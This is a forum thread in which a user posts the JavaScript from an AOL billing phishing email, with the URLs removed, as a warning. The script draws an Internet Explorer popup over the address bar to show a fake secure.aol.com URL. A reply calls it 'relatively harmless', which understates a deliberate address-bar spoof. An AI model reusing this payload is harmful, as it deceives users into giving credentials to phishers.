I got this in my spam filter, and I am not even an AOL subscriber... Definately a scam.

After looking at the code on the page I have deleted the URL's there is a suspicious looking bit of Javascript in there, that I don't want anyone to get screwed by.

Not sure what it pops up but it looks like trouble and it didn't work on Firefox.

Code:
<script type="text/javascript">
var vuln_x, vuln_y, vuln_w, vuln_h;
function vuln_calc() {
var root= document[
(document.compatMode=='CSS1Compat') ?
'documentElement' : 'body'
];
vuln_x= window.screenLeft+68;
vuln_y= window.screenTop-20;
vuln_w= root.offsetWidth-420;
vuln_h= 17;
vuln_show();
}

var vuln_win;
function vuln_pop() {
vuln_win= window.createPopup();
vuln_win.document.body.innerHTML= vuln_html;
vuln_win.document.body.style.margin= 0;
vuln_win.document.body.onunload= vuln_pop;
vuln_show();
}

function vuln_show() {
if (vuln_win)
vuln_win.show(vuln_x, vuln_y, vuln_w, vuln_h);
}

var vuln_html= '\x3Cdiv style="height: 100%; line-height: 17px; font-family: \'Tahoma\', sans-serif; font-size: 8pt;">https://secure.aol.com/billingdept/alert/customer_confirmation.psp?siteId=billingfeatures&siteState=OrigCard\x3C/div>'

if (window.createPopup) {
vuln_calc();
vuln_pop();
window.setInterval(vuln_calc, 25);
} else {
}
</script>

Hm.. looks relatively harmless. Doesn't seem to do anything exciting except create a new popup window under that address with a few specific attributes.

That's actually a nicely set up scam - good spelling and grammar except for the one error, what appears at first to be a legitimate address... :thumb:
